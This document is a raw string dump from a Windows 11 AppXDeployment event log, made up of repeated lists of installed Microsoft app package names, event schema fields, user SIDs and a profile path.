F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_144.0.3719.115_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_1.0.0.0_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 C:\Users\job Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 None None Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational EventData Data InstallPackageList RemovePackageList Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy 